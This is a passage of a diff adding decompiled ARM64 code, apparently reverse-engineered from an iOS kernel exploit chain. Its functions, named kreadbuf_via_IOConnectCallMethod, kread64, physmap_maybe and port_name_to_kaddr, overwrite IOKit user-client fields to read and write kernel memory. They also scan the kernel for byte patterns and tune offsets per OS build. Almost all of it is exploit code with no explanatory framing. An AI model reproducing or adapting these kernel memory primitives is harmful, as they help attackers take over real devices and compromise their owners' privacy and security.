!(_DWORD)v4 ) + { + if ( !memcmp(__s1, v6, 0xA0uLL) ) + return 0LL; + else + return 0xAD014LL; + } + } + return v4; + } + } + return v1; +} + +//----- (00000000000268F8) ---------------------------------------------------- +__int64 __fastcall sub_268F8(__int64 a1, unsigned __int64 a2, __int64 a3, unsigned int a4, int a5) +{ + __int64 test; // x24 + unsigned int v11; // w27 + unsigned __int64 v12; // x8 + unsigned __int64 v13; // x9 + unsigned int v14; // w28 + size_t v15; // x25 + __int64 v16; // x26 + __int64 v17; // x0 + int v18; // w0 + int v19; // w21 + int v20; // w8 + unsigned int v22; // [xsp+8h] [xbp-58h] BYREF + int v23; // [xsp+Ch] [xbp-54h] BYREF + + test = 0xAD001LL; + if ( *(_DWORD *)(a1 + 0x1930) == 0xFFFFFFFF + || *(_DWORD *)(a1 + 0x1934) == 0xFFFFFFFF + || *(_DWORD *)(a1 + 0x1940) == 0xFFFFFFFF + || !*(_QWORD *)(a1 + 0x218) + || !validate_addr_maybe2(a1, a2) ) + { + return test; + } + v23 = 0xFFFFFFFF; + if ( a5 ) + { + test = fd_open_dev_null(&v23); + if ( (_DWORD)test ) + goto LABEL_34; + test = fd_read_test((int *)(a1 + 0x1930)); + if ( (_DWORD)test ) + goto LABEL_34; + } + if ( !a4 ) + { +LABEL_27: + test = sub_267E8(a1); + goto LABEL_33; + } + v11 = 0; + while ( 1 ) + { + v12 = a4 - v11; + v22 = 0; + v13 = a2 + v11; + if ( (unsigned int)v12 >= 4 ) + { + v14 = 0; + } + else if ( (((v13 + (unsigned int)v12 - 1) ^ (v13 + 3)) & ~*(_QWORD *)(a1 + 0x188)) != 0 ) + { + v14 = 4 - v12; + } + else + { + v14 = 0; + } + if ( 4 - (unsigned __int64)v14 >= v12 ) + v15 = a4 - v11; + else + v15 = 4LL - v14; + v16 = v13 - v14; + if ( v15 <= 3 && (v17 = kreadbuf_via_dev_null_only(a1, v13 - v14, &v22, 4LL, 0LL), (_DWORD)v17) + || (v17 = sub_266D0(a1, v16), (_DWORD)v17) ) + { + test = v17; + goto LABEL_32; + } + memcpy((char *)&v22 + v14, (const void *)(a3 + v11), v15); + v18 = *(_DWORD *)(a1 + 0x1940); + if ( !*(_QWORD *)(a1 + 0x220) ) + break; + if ( ioctl(v18, 0x8004667CuLL, &v22) ) + goto LABEL_29; +LABEL_26: + v11 = v11 - v14 + 4; + if ( v11 >= a4 ) + goto LABEL_27; + } + if ( !fcntl(v18, 6, v22) ) + goto LABEL_26; +LABEL_29: + v19 = *__error(); + v20 = *__error(); + if ( v19 < 0 ) + v20 = -v20; + test = v20 | 0x40000000u; +LABEL_32: + sub_267E8(a1); +LABEL_33: + if ( a5 ) +LABEL_34: + fd_close(v23); + return test; +} +// 25E54: using guessed type __int64 __fastcall kreadbuf_via_dev_null_only(_QWORD, _QWORD, _QWORD, _QWORD, _QWORD); + +//----- (0000000000026B00) ---------------------------------------------------- +__int64 __fastcall sub_26B00(__int64 a1, int a2) +{ + void *v2; // x19 + _opaque_pthread_t *v3; // x0 + semaphore_t v4; // w8 + semaphore_t v6; // w1 + semaphore_t v7; // w1 + int v8; // w0 + + v2 = *(void **)(a1 + 0x28); + if ( v2 ) + { + *(_BYTE *)(a1 + 0xC) = 0; + *(_QWORD *)(a1 + 0x28) = 0LL; + v3 = *(_opaque_pthread_t **)v2; + if ( *(_QWORD *)v2 ) + { + v4 = *((_DWORD *)v2 + 2); + if ( v4 + 1 >= 2 && a2 != 0 ) + { + *((_BYTE *)v2 + 0x38) = 1; + semaphore_signal(v4); + v3 = *(_opaque_pthread_t **)v2; + } + pthread_join(v3, 0LL); + *(_QWORD *)v2 = 0LL; + } + v6 = *((_DWORD *)v2 + 2); + if ( v6 + 1 >= 2 ) + { + semaphore_destroy(mach_task_self_, v6); + *((_DWORD *)v2 + 2) = 0; + } + v7 = *((_DWORD *)v2 + 3); + if ( v7 + 1 >= 2 ) + { + semaphore_destroy(mach_task_self_, v7); + *((_DWORD *)v2 + 3) = 0; + } + v8 = *((_DWORD *)v2 + 4); + if ( v8 != 0xFFFFFFFF ) + { + close(v8); + *((_DWORD *)v2 + 4) = 0xFFFFFFFF; + } + *((_OWORD *)v2 + 2) = 0u; + *((_OWORD *)v2 + 3) = 0u; + *(_OWORD *)v2 = 0u; + *((_OWORD *)v2 + 1) = 0u; + free(v2); + } + return 0LL; +} + +//----- (0000000000026BE4) ---------------------------------------------------- +__int64 __fastcall sub_26BE4(__int64 a1) +{ + __int64 v2; // x20 + _DWORD *v3; // x0 + _DWORD *v4; // x21 + kern_return_t v5; // w0 + unsigned int v7; // w0 + char i; // w23 + int v9; // w0 + mach_timespec_t v10; // x1 + pthread_t v11; // [xsp+0h] [xbp-40h] BYREF + semaphore_t semaphore[2]; // [xsp+8h] [xbp-38h] BYREF + + if ( *(_QWORD *)(a1 + 0x158) < 0x1F530000000000uLL ) + { + if ( *(_BYTE *)(a1 + 0xC) ) + { + return 0LL; + } + else + { + if ( (unsigned int)(*(_DWORD *)(a1 + 0x10) + 1) <= 1 ) + { + v7 = (unsigned int)sub_24D64("AppleSEPManager"); + if ( v7 + 1 < 2 ) + return 0xAD011LL; + *(_DWORD *)(a1 + 0x10) = v7; + } + for ( i = 0; ; i = 1 ) + { + v9 = _IOServiceSetAuthorizationID(); + if ( v9 != 0xE00002C1 ) + break; + if ( (i & 1) != 0 ) + return v9 & 0xFFF | 0x70000000u; + if ( !(unsigned int)sub_2F294(a1, mach_task_self_) ) + return 0x28041LL; + } + if ( !v9 ) + goto LABEL_21; + return v9 & 0xFFF | 0x70000000u; + } + } + else + { + v2 = 0LL; + v11 = 0LL; + *(_QWORD *)semaphore = 0LL; + if ( !*(_BYTE *)(a1 + 0xC) ) + { + v3 = calloc(1uLL, 0x40uLL); + if ( !v3 ) + return 0xAD009LL; + v4 = v3; + v3[4] = 0xFFFFFFFF; + *(_QWORD *)(a1 + 0x28) = v3; + v5 = semaphore_create(mach_task_self_, &semaphore[1], 0, 0); + if ( !v5 ) + { + v4[2] = semaphore[1]; + v5 = semaphore_create(mach_task_self_, semaphore, 0, 0); + if ( !v5 ) + { + v4[3] = semaphore[0]; + v2 = create_pthread_something(a1, &v11, (__int64)sub_2AB18, (void *)a1); + if ( (_DWORD)v2 ) + goto LABEL_7; + *(_QWORD *)v4 = v11; + v10 = (mach_timespec_t)3LL; + v5 = semaphore_timedwait(semaphore[0], v10); + v2 = (unsigned int)v4[0xF]; + if ( (_DWORD)v2 ) + goto LABEL_7; + if ( !v5 ) + { +LABEL_21: + v2 = 0LL; + *(_BYTE *)(a1 + 0xC) = 1; + return v2; + } + } + } + v2 = v5 | 0x80000000; +LABEL_7: + sub_26B00(a1, 0); + } + } + return v2; +} + +//----- (0000000000026DD0) ---------------------------------------------------- +__int64 __fastcall kreadbuf_via_IOConnectCallMethod( + __int64 a1, + unsigned __int64 a2, + __int64 a3, + unsigned int a4, + int a5) +{ + __int64 v5; // x24 + unsigned int v12; // w8 + __int64 v13; // x28 + unsigned __int64 v14; // x25 + size_t v15; // x26 + unsigned __int64 v16; // x8 + int v17; // w9 + unsigned int v18; // w8 + unsigned int v19; // w27 + mach_port_t v20; // w0 + unsigned __int64 v21; // x8 + __int64 v22; // x9 + __int64 v23; // x9 + __int64 v24; // x10 + __int128 *v25; // x9 + kern_return_t v26; // w0 + unsigned int v27; // w8 + __int64 v28; // x9 + __int64 v29; // x24 + kern_return_t v30; // w0 + __int64 v31; // x10 + unsigned int v32; // w9 + __int64 v33; // x10 + __int64 v34; // x11 + __int64 v35; // x10 + size_t v36; // x2 + __int128 v37; // [xsp+10h] [xbp-A0h] + int v38; // [xsp+20h] [xbp-90h] BYREF + int v39; // [xsp+24h] [xbp-8Ch] BYREF + size_t outputStructCnt; // [xsp+28h] [xbp-88h] BYREF + int outputStruct; // [xsp+30h] [xbp-80h] BYREF + uint32_t outputCnt; // [xsp+34h] [xbp-7Ch] BYREF + uint64_t output[2]; // [xsp+38h] [xbp-78h] BYREF + uint64_t input[2]; // [xsp+48h] [xbp-68h] BYREF + + v5 = 0xAD001LL; + if ( (unsigned int)(*(_DWORD *)(a1 + 0xE8) + 1) >= 2 ) + { + if ( *(_QWORD *)(a1 + 0xF8) ) + { + if ( *(_QWORD *)(a1 + 0x100) ) + { + if ( validate_addr_maybe2(a1, a2) ) + { + v39 = 0xFFFFFFFF; + if ( !a5 || (v5 = fd_open_dev_null(&v39), !(_DWORD)v5) ) + { + if ( a4 ) + { + v12 = 0; + while ( 1 ) + { + v13 = v12; + v14 = a2 + v12; + v15 = a4 - v12; + if ( (*(_QWORD *)(a1 + 0x188) & v14) == 0 && (unsigned int)v15 >= 0x4000 ) + break; + if ( (unsigned int)v15 > 3 ) + goto LABEL_27; + if ( (((v14 + (unsigned int)v15 - 1) ^ (v14 + 3)) & ~*(_QWORD *)(a1 + 0x188)) != 0 ) + v19 = 4 - v15; + else + v19 = 0; +LABEL_28: + v20 = *(_DWORD *)(a1 + 0xE8); + v5 = 0xAD001LL; + if ( v20 + 1 >= 2 ) + { + v21 = v14 - v19; + v22 = *(_QWORD *)(a1 + 0xF8); + v5 = 0xAD001LL; + if ( *(int *)(a1 + 0x140) < 0x2258 ) + { + if ( v22 ) + { + v5 = 0xAD001LL; + if ( *(_QWORD *)(a1 + 0x100) ) + { + v28 = *(_QWORD *)(a1 + 0x108) + v22; + v29 = *(_QWORD *)(v28 + 0xC0); + *(_QWORD *)(v28 + 0xC0) = v21 - 0x14; + output[0] = 0LL; + LODWORD(outputStructCnt) = 1; + input[0] = *(unsigned int *)(a1 + 0x110); + v30 = IOConnectCallMethod( + v20, + 0x10u, + input, + 1u, + 0LL, + 0LL, + output, + (uint32_t *)&outputStructCnt, + 0LL, + 0LL); + if ( v30 ) + { + v27 = v30 | 0x80000000; + } + else + { + v27 = 0; + v38 = output[0]; + } + v35 = *(_QWORD *)(a1 + 0xF8); + v32 = 0xAD001; + if ( v35 ) + { + v32 = 0xAD001; + if ( *(_QWORD *)(a1 + 0x100) ) + { + v32 = 0; + *(_QWORD *)(*(_QWORD *)(a1 + 0x108) + v35 + 0xC0) = v29; + } + } + goto LABEL_54; + } + } + } + else if ( v22 ) + { + v5 = 0xAD001LL; + if ( *(_QWORD *)(a1 + 0x100) ) + { + v23 = *(_QWORD *)(a1 + 0x108) + v22; + v24 = 0x448LL; + if ( *(_QWORD *)(a1 + 0x158) > 0x225C192D0FFFFFuLL ) + v24 = 0x450LL; + v25 = (__int128 *)(v23 + v24); + v37 = *v25; + *(_QWORD *)v25 = v21; + *((_QWORD *)v25 + 1) = 4LL; + outputStruct = 0; + outputCnt = 2; + outputStructCnt = 4LL; + input[0] = *(unsigned int *)(a1 + 0x110); + input[1] = 0LL; + output[0] = 0LL; + output[1] = 0LL; + v26 = IOConnectCallMethod( + v20, + 0x33u, + input, + 2u, + 0LL, + 0LL, + output, + &outputCnt, + &outputStruct, + &outputStructCnt); + if ( v26 ) + { + v27 = v26 | 0x80000000; + } + else + { + v27 = 0; + v38 = outputStruct; + } + v31 = *(_QWORD *)(a1 + 0xF8); + v32 = 0xAD001; + if ( v31 ) + { + v32 = 0xAD001; + if ( *(_QWORD *)(a1 + 0x100) ) + { + v32 = 0; + v33 = *(_QWORD *)(a1 + 0x108) + v31; + v34 = 0x448LL; + if ( *(_QWORD *)(a1 + 0x158) > 0x225C192D0FFFFFuLL ) + v34 = 0x450LL; + *(_OWORD *)(v33 + v34) = v37; + } + } +LABEL_54: + if ( v27 ) + v5 = v27; + else + v5 = v32; + if ( !(_DWORD)v5 ) + { + if ( (unsigned int)v15 >= 4 ) + v36 = 4LL; + else + v36 = v15; + memcpy((void *)(a3 + v13), (char *)&v38 + v19, v36); + } + } + } + } + LODWORD(v15) = 4; +LABEL_30: + if ( (_DWORD)v5 ) + goto LABEL_63; + v12 = v15 + v13; + if ( (int)v15 + (int)v13 >= a4 ) + goto LABEL_62; + } + if ( sub_25734(a1) ) + { + v16 = *(_QWORD *)(a1 + 0x158); + if ( v16 <= 0x1F530F027FFFFFLL ) + v17 = 0x4000; + else + v17 = 0x80000; + if ( v16 <= 0x2711FFFFFFFFFFLL ) + v18 = v17; + else + v18 = 0x210; + if ( (unsigned int)v15 >= v18 ) + v15 = v18; + else + v15 = (unsigned int)v15; + v5 = sub_26204(a1, v14, a3 + v13, v15); + goto LABEL_30; + } +LABEL_27: + v19 = 0; + goto LABEL_28; + } +LABEL_62: + v5 = 0LL; +LABEL_63: + if ( a5 ) + fd_close(v39); + } + } + } + } + } + return v5; +} +// 26204: using guessed type __int64 __fastcall sub_26204(_QWORD, _QWORD, _QWORD, _QWORD); + +//----- (00000000000271B0) ---------------------------------------------------- +__int64 __fastcall sub_271B0(__int64 a1, unsigned __int64 a2, __int64 a3, unsigned int a4, int a5) +{ + __int64 v5; // x19 + __int64 v12; // x0 + unsigned int v13; // w27 + unsigned __int64 v14; // x8 + unsigned __int64 v15; // x9 + unsigned int v16; // w28 + size_t v17; // x26 + unsigned __int64 v18; // x25 + __int64 v19; // x0 + mach_port_t v20; // w0 + __int64 v21; // x8 + uint64_t v22; // x9 + __int64 v23; // x8 + __int64 v24; // x10 + __int64 v25; // x26 + kern_return_t v26; // w0 + __int64 v27; // x8 + __int64 v28; // x8 + __int64 v29; // x9 + uint64_t v30; // [xsp+10h] [xbp-80h] BYREF + int v31; // [xsp+1Ch] [xbp-74h] BYREF + uint64_t input[3]; // [xsp+20h] [xbp-70h] BYREF + + v5 = 0xAD001LL; + if ( (unsigned int)(*(_DWORD *)(a1 + 0xE8) + 1) >= 2 + && *(_QWORD *)(a1 + 0xF8) + && *(_QWORD *)(a1 + 0x100) + && validate_addr_maybe2(a1, a2) ) + { + v31 = 0xFFFFFFFF; + if ( !a5 || (v12 = fd_open_dev_null(&v31), !(_DWORD)v12) ) + { + if ( a4 ) + { + v13 = 0; + while ( 1 ) + { + v14 = a4 - v13; + v30 = 0LL; + v15 = a2 + v13; + if ( (unsigned int)v14 >= 8 ) + v16 = 0; + else + v16 = (((v15 + (unsigned int)v14 - 1) ^ (v15 + 7)) & ~*(_QWORD *)(a1 + 0x188)) != 0 ? 8 - v14 : 0; + v17 = 8 - (unsigned __int64)v16 >= v14 ? a4 - v13 : 8LL - v16; + v18 = v15 - v16; + if ( v17 <= 7 ) + { + v19 = kreadbuf_via_IOConnectCallMethod(a1, v15 - v16, (__int64)&v30, 8u, 0); + if ( (_DWORD)v19 ) + break; + } + memcpy((char *)&v30 + v16, (const void *)(a3 + v13), v17); + v20 = *(_DWORD *)(a1 + 0xE8); + if ( v20 + 1 < 2 ) + goto LABEL_35; + v21 = *(_QWORD *)(a1 + 0xF8); + if ( !v21 || !*(_QWORD *)(a1 + 0x100) ) + goto LABEL_35; + v22 = v30; + v23 = *(_QWORD *)(a1 + 0x108) + v21; + v24 = 0x360LL; + if ( *(int *)(a1 + 0x140) > 0x2257 ) + v24 = 0x368LL; + v25 = *(_QWORD *)(v23 + v24); + *(_QWORD *)(v23 + v24) = v18; + input[0] = *(unsigned int *)(a1 + 0x110); + input[1] = 0LL; + input[2] = v22; + v26 = IOConnectCallMethod(v20, 0x21u, input, 3u, 0LL, 0LL, 0LL, 0LL, 0LL, 0LL); + v27 = *(_QWORD *)(a1 + 0xF8); + if ( !v27 || !*(_QWORD *)(a1 + 0x100) ) + { + if ( !v26 ) + goto LABEL_35; +LABEL_33: + v5 = v26 | 0x80000000; + goto LABEL_35; + } + v28 = *(_QWORD *)(a1 + 0x108) + v27; + v29 = 0x360LL; + if ( *(int *)(a1 + 0x140) > 0x2257 ) + v29 = 0x368LL; + *(_QWORD *)(v28 + v29) = v25; + if ( v26 ) + goto LABEL_33; + v13 = v13 - v16 + 8; + if ( v13 >= a4 ) + goto LABEL_31; + } + v5 = v19; + } + else + { +LABEL_31: + v5 = 0LL; + } +LABEL_35: + if ( a5 ) + fd_close(v31); + return v5; + } + return v12; + } + return v5; +} + +//----- (0000000000027414) ---------------------------------------------------- +__int64 __fastcall physmap_maybe(__int64 a1, vm_address_t *a2, vm_size_t a3, __int64 a4) +{ + kern_return_t v4; // w0 + + v4 = vm_map(mach_task_self_, a2, a3, 0LL, 1, *(_DWORD *)(a1 + 0x58), a4 & ~*(_QWORD *)(a1 + 0x188), 0, 3, 3, 2u); + if ( v4 ) + return v4 | 0x80000000; + else + return 0LL; +} + +//----- (0000000000027478) ---------------------------------------------------- +__int64 __fastcall sub_27478(__int64 a1) +{ + io_object_t v2; // w0 + vm_address_t v3; // x1 + vm_size_t v4; // x2 + mach_port_name_t v5; // w1 + + v2 = *(_DWORD *)(a1 + 0x5C); + if ( v2 + 1 >= 2 ) + { + IOObjectRelease(v2); + *(_DWORD *)(a1 + 0x5C) = 0; + } + v3 = *(_QWORD *)(a1 + 0x60); + if ( v3 ) + { + v4 = *(_QWORD *)(a1 + 0x68); + if ( v4 ) + { + vm_deallocate(mach_task_self_, v3, v4); + *(_QWORD *)(a1 + 0x60) = 0LL; + *(_QWORD *)(a1 + 0x68) = 0LL; + } + } + *(_QWORD *)(a1 + 0x70) = 0LL; + *(_QWORD *)(a1 + 0x78) = 0LL; + v5 = *(_DWORD *)(a1 + 0x58); + if ( v5 + 1 >= 2 ) + { + mach_port_deallocate(mach_task_self_, v5); + *(_DWORD *)(a1 + 0x58) = 0; + } + return 0LL; +} + +//----- (0000000000027504) ---------------------------------------------------- +__int64 __fastcall sub_27504(__int64 a1, char a2) +{ + __int64 v4; // x23 + bool v5; // zf + __int64 v6; // x21 + __int64 v7; // x0 + __int64 v8; // x21 + unsigned __int64 v9; // x22 + unsigned __int64 v10; // x25 + unsigned __int64 v11; // x0 + unsigned __int64 v12; // x23 + __int64 v13; // x0 + int v14; // w8 + __int64 v15; // x20 + int v16; // w22 + __int64 v17; // x0 + unsigned __int64 v18; // x0 + unsigned __int64 v19; // x20 + __int64 v20; // x0 + int v21; // w8 + __int64 v23; // [xsp+8h] [xbp-88h] BYREF + __int128 v24; // [xsp+10h] [xbp-80h] BYREF + __int64 v25; // [xsp+20h] [xbp-70h] + __int128 v26; // [xsp+28h] [xbp-68h] BYREF + __int64 v27; // [xsp+38h] [xbp-58h] + + v4 = 0xAD011LL; + if ( *(_QWORD *)(a1 + 0x80) ) + v5 = *(_DWORD *)(a1 + 0x88) == 0; + else + v5 = 1; + if ( !v5 ) + goto LABEL_23; + if ( (a2 & 1) != 0 ) + return 0xAD001LL; + sub_19D10(*(_QWORD *)(a1 + 0x19F8), &v26); + *((_QWORD *)&v26 + 1) = *((_QWORD *)&v26 + 1) + v27 - 0x20000; + v27 = 0x20000LL; + v24 = v26; + v25 = 0x20000LL; + v7 = kernel_pattern_scan((__int64)&v24, "88 91 00 B9 9F 0D 00 B9", 0); + if ( !v7 ) + return 0xAD011LL; + v8 = v7; + v9 = 0LL; + v10 = 0xFFFFFFFFFFFFFFFCLL; + while ( 1 ) + { + if ( (sub_19ACC(*(__int64 **)(a1 + 0x19F8), (__int64 *)(v8 + v10 + 4)) & 0x9F000000) != 0x90000000 + || (sub_19ACC(*(__int64 **)(a1 + 0x19F8), (__int64 *)(v8 + v10 + 8)) & 0xBFC00000) != 0xB9400000 ) + { + goto LABEL_15; + } + v11 = sub_1E854(*(__int64 **)(a1 + 0x19F8), (__int64 *)(v8 + v10 + 4)); + if ( !v11 ) + return 0xAD011LL; + v12 = v11; + if ( v9 ) + break; + v9 = v11; +LABEL_15: + v10 += 4LL; + if ( v10 >= 0xFC ) + return 0xAD011LL; + } + v6 = 0x28026LL; + if ( !kread64((_DWORD *)a1, v9, (__int64 *)&v24) ) + return 0x2800FLL; + if ( !validate_addr(a1, v24) ) + return v6; + if ( !kread64((_DWORD *)a1, v12, &v23) ) + return 0x2800FLL; + if ( validate_addr(a1, v23) ) + { + v13 = get_kobject_maybe(a1, v24); + if ( v13 ) + { + v14 = v23 - v24; + *(_QWORD *)(a1 + 0x80) = v13; + *(_DWORD *)(a1 + 0x88) = v14; + v4 = 0xAD011LL; +LABEL_23: + v6 = *(_QWORD *)(a1 + 0xA0) != 0LL && *(_DWORD *)(a1 + 0xA8) != 0 ? 0LL : 0xAD001LL; + if ( (*(_QWORD *)(a1 + 0xA0) == 0LL || *(_DWORD *)(a1 + 0xA8) == 0) && (a2 & 1) == 0 ) + { + sub_19C34("__DATA", *(_QWORD *)(a1 + 0x19F8), "__percpu", &v26); + v15 = *((_QWORD *)&v26 + 1); + if ( *((_QWORD *)&v26 + 1) ) + { + v16 = v27; + if ( v27 ) + { + sub_19D10(*(_QWORD *)(a1 + 0x19F8), &v26); + if ( *((_QWORD *)&v26 + 1) ) + { + if ( v27 ) + { + *((_QWORD *)&v26 + 1) = *((_QWORD *)&v26 + 1) + v27 - 0x20000; + v27 = 0x20000LL; + v17 = kernel_pattern_scan((__int64)&v26, ".. 02 00 F9 E1 03 13 AA", 0); + if ( v17 ) + { + v18 = sub_1EB2C(*(__int64 **)(a1 + 0x19F8), (__int64 *)(v17 - 8), 0); + if ( v18 ) + { + v4 = 0x28026LL; + if ( kread64_internal(a1, v18, &v24) ) + { + v19 = v24 + v15; + if ( validate_addr(a1, v19) ) + { + v20 = get_kobject_maybe(a1, v19); + if ( v20 ) + { + v6 = 0LL; + v21 = (*(_DWORD *)(a1 + 0x188) + v16) & ~*(_DWORD *)(a1 + 0x188); + *(_QWORD *)(a1 + 0xA0) = v20; + *(_DWORD *)(a1 + 0xA8) = v21; + return v6; + } + } + } + else + { + return 0x2800FLL; + } + } + else + { + return 0xAD014LL; + } + } + } + } + } + } + return v4; + } + } + } + return v6; +} + +//----- (0000000000027808) ---------------------------------------------------- +__int64 __fastcall sub_27808(__int64 a1, char a2) +{ + vm_size_t v4; // x19 + int v5; // w8 + __int64 v6; // x21 + unsigned int v10; // w27 + kern_return_t v11; // w0 + int v12; // w8 + unsigned __int64 v13; // x21 + bool v14; // zf + int v15; // w8 + int v16; // w9 + void *(__cdecl *v17)(void *); // x0 + int v18; // w0 + int v19; // w8 + int v20; // w26 + unsigned int v21; // w24 + mach_port_t v22; // w0 + mach_port_t v23; // w26 + unsigned __int64 v24; // x0 + __int64 v25; // x0 + __int64 v26; // x27 + semaphore_t v27; // w25 + int v28; // w8 + int v29; // w25 + __int64 v30; // x28 + __int64 v31; // x3 + vm_size_t v32; // x22 + __int64 v33; // x0 + void *v34; // x23 + void *v35; // x0 + int v36; // w8 + char *v37; // x9 + int v38; // w10 + char *v39; // x11 + __int64 v40; // x12 + char *v41; // x24 + kern_return_t v42; // w0 + int v43; // w9 + size_t v44; // x25 + int v45; // w0 + int v46; // w8 + unsigned int v47; // w8 + void *v48; // x0 + uint64_t v49; // x8 + _opaque_pthread_t *v50; // x0 + mach_port_t v51; // w0 + semaphore_t v52; // w8 + __int64 v53; // x28 + unsigned int v54; // w28 + __int64 v55; // x8 + unsigned __int64 v56; // x8 + __int64 v57; // x27 + unsigned __int64 v58; // x25 + pthread_t *v59; // x28 + void *(__cdecl *v60)(void *); // x0 + int v61; // w0 + int v62; // w0 + unsigned int v63; // w8 + unsigned __int64 v64; // x21 + __int64 v65; // x9 + _opaque_pthread_t *v66; // x0 + int v67; // w0 + int v68; // w8 + int v69; // w8 + int v70; // w8 + int v71; // w26 + pthread_t *v72; // x0 + unsigned int v73; // w9 + unsigned __int64 v74; // x28 + vm_address_t v75; // x1 + vm_size_t v76; // x2 + __int64 *v78; // x22 + unsigned int v79; // [xsp+4h] [xbp-7Ch] + uint64_t v80; // [xsp+8h] [xbp-78h] + unsigned int v81; // [xsp+10h] [xbp-70h] + vm_address_t address; // [xsp+18h] [xbp-68h] BYREF + pthread_t v83; // [xsp+20h] [xbp-60h] BYREF + semaphore_t semaphore; // [xsp+2Ch] [xbp-54h] BYREF + + address = 0LL; + v4 = vm_page_size; + v5 = *(_DWORD *)(a1 + 0x140); + v6 = 0x2802CLL; + if ( v5 > 0x2257 ) + { + if ( v5 != 0x2258 && v5 != 0x2712 && v5 != 0x225C ) + return v6; + } + else if ( (unsigned int)(v5 - 0x1F53) >= 2 && v5 != 0x1C1B ) + { + return v6; + } + if ( krw_ctx_has_flag((_DWORD *)a1, 0x4000000) ) + { + v10 = 0x108; + } + else + { + v10 = 0xB8; + if ( !krw_ctx_has_flag((_DWORD *)a1, 0x5584001) ) + { + if ( krw_ctx_has_flag((_DWORD *)a1, 0x200) ) + v10 = 0xB8; + else + v10 = 0x100; + } + } + if ( *(_QWORD *)(a1 + 0x30) && (a2 & 1) == 0 ) + { + v83 = 0LL; + semaphore = 0; + v11 = semaphore_create(mach_task_self_, &semaphore, 0, 0); + if ( v11 ) + { + v6 = v11 | 0x80000000; + } + else + { + v17 = (void *(__cdecl *)(void *))nullsub_1(sub_2AD98); + v18 = pthread_create(&v83, 0LL, v17, (void *)semaphore); + if ( v18 ) + { + if ( v18 >= 0 ) + v19 = v18; + else + v19 = -v18; + v6 = v19 | 0x40000000u; + } + else + { + v22 = pthread_mach_thread_np(v83); + if ( v22 + 1 < 2 ) + { + v6 = 0x28008LL; + } + else + { + v23 = v22; + v24 = port_name_to_kaddr(a1, v22); + if ( v24 ) + { + v25 = get_kobject_maybe(a1, v24 + v10); + if ( v25 ) + { + v26 = v25; + v27 = semaphore; + goto LABEL_155; + } + } + v6 = 0x28026LL; + } + } + } + if ( semaphore + 1 >= 2 ) + { + semaphore_signal(semaphore); + semaphore_destroy(mach_task_self_, semaphore); + } + if ( v83 ) + pthread_join(v83, 0LL); + goto LABEL_158; + } + v6 = sub_27504(a1, a2); + if ( (_DWORD)v6 ) + { +LABEL_158: + if ( address && v4 ) + vm_deallocate(mach_task_self_, address, v4); + return v6; + } + v12 = *(_DWORD *)(a1 + 0x140); + if ( v12 <= 0x2257 ) + { + if ( v12 != 0x1F53 ) + { + if ( v12 == 0x1F54 ) + { + v20 = 0x30; + v21 = 0x2600; + goto LABEL_66; + } + goto LABEL_76; + } + if ( *(_QWORD *)(a1 + 0x158) <= 0x1F5313FFFFFFFFuLL ) + v21 = 0x2600; + else + v21 = 0x2610; + } + else + { + switch ( v12 ) + { + case 0x2258: + v14 = !krw_ctx_has_flag((_DWORD *)a1, 0x5584201); + v15 = 0x26E0; + v16 = 0x26D0; + break; + case 0x225C: + v20 = 0x30; + v21 = 0x26B0; + goto LABEL_66; + case 0x2712: + v13 = *(_QWORD *)(a1 + 0x158); + v14 = !krw_ctx_has_flag((_DWORD *)a1, 0x20); + if ( v13 < 0x27120A80800000LL ) + { + v15 = 0x45F0; + v16 = 0x27B0; + } + else + { + v15 = 0x4610; + v16 = 0x27D0; + } + break; + default: + goto LABEL_76; + } + if ( v14 ) + v21 = v16; + else + v21 = v15; + } + v28 = *(_DWORD *)(a1 + 0x140); + v20 = 0x30; + if ( v28 > 0x225B ) + { + if ( v28 == 0x225C ) + goto LABEL_66; + if ( v28 == 0x2712 ) + { + v20 = 0x28; + goto LABEL_66; + } +LABEL_76: + v6 = 0x2802CLL; + goto LABEL_158; + } + if ( (unsigned int)(v28 - 0x1F53) >= 2 && v28 != 0x2258 ) + goto LABEL_76; +LABEL_66: + v29 = number_of_cpus(); + v30 = (unsigned int)(v29 - 1); + v31 = *(_QWORD *)(a1 + 0xA0); + v83 = 0LL; + v32 = (unsigned int)(*(_DWORD *)(a1 + 0xA8) * v30); + v33 = physmap_here(a1, (vm_address_t *)&v83, v32, v31); + if ( (_DWORD)v33 ) + { + v6 = v33; + v27 = 0; + v23 = 0; + v26 = 0LL; + v34 = 0LL; + goto LABEL_146; + } + v6 = 0xAD009LL; + v35 = calloc(v29, 8uLL); + v34 = v35; + if ( !v35 ) + { +LABEL_142: + v27 = 0; + v23 = 0; + v26 = 0LL; + goto LABEL_146; + } + if ( v29 != 1 ) + { + v36 = 0; + v37 = (char *)v83 + v21; + v38 = *(_DWORD *)(a1 + 0xA8); + do + { + v39 = &v37[v36]; + v40 = *(unsigned __int16 *)v39; + if ( v29 <= (int)v40 ) + { + v27 = 0; + v23 = 0; + v26 = 0LL; + v6 = 0xAD014LL; + goto LABEL_146; + } + *((_QWORD *)v35 + v40) = v39; + v36 += v38; + --v30; + } + while ( v30 ); + } + semaphore = 0; + v41 = (char *)calloc(1uLL, 0x90uLL); + if ( !v41 ) + { + v43 = 0; + LODWORD(v44) = 0; + goto LABEL_130; + } + v42 = semaphore_create(mach_task_self_, &semaphore, 0, 0); + if ( v42 ) + { + v43 = 0; + LODWORD(v44) = 0; + v6 = v42 | 0x80000000; + goto LABEL_130; + } + *((_DWORD *)v41 + 4) = v29; + *((_DWORD *)v41 + 5) = v20; + *((_DWORD *)v41 + 0x1F) = 0; + *(_QWORD *)v41 = a1; + *((_QWORD *)v41 + 1) = v34; + *((_DWORD *)v41 + 0x18) = v10; + *((_DWORD *)v41 + 0x22) = semaphore; + v45 = pthread_mutex_init((pthread_mutex_t *)(v41 + 0x20), 0LL); + if ( v45 ) + { + v43 = 0; + LODWORD(v44) = 0; + if ( v45 >= 0 ) + v46 = v45; + else + v46 = -v45; + v6 = v46 | 0x40000000u; + goto LABEL_130; + } + v47 = 2 * number_of_cpus(); + if ( v47 <= 8 ) + v44 = 8LL; + else + v44 = v47; + *((_DWORD *)v41 + 0x1F) = v44; + v48 = calloc(v44, 8uLL); + *((_QWORD *)v41 + 0x10) = v48; + if ( !v48 ) + { +LABEL_129: + v43 = 1; + goto LABEL_130; + } + v49 = mach_absolute_time(); + v50 = (_opaque_pthread_t *)*((_QWORD *)v41 + 0xD); + v81 = v44; + if ( v50 ) + goto LABEL_89; + v80 = v49; + v6 = 0LL; + v54 = 2; + do + { + *((_QWORD *)v41 + 3) = 0LL; + if ( v54 >= (unsigned int)v44 ) + v55 = (unsigned int)v44; + else + v55 = v54; + 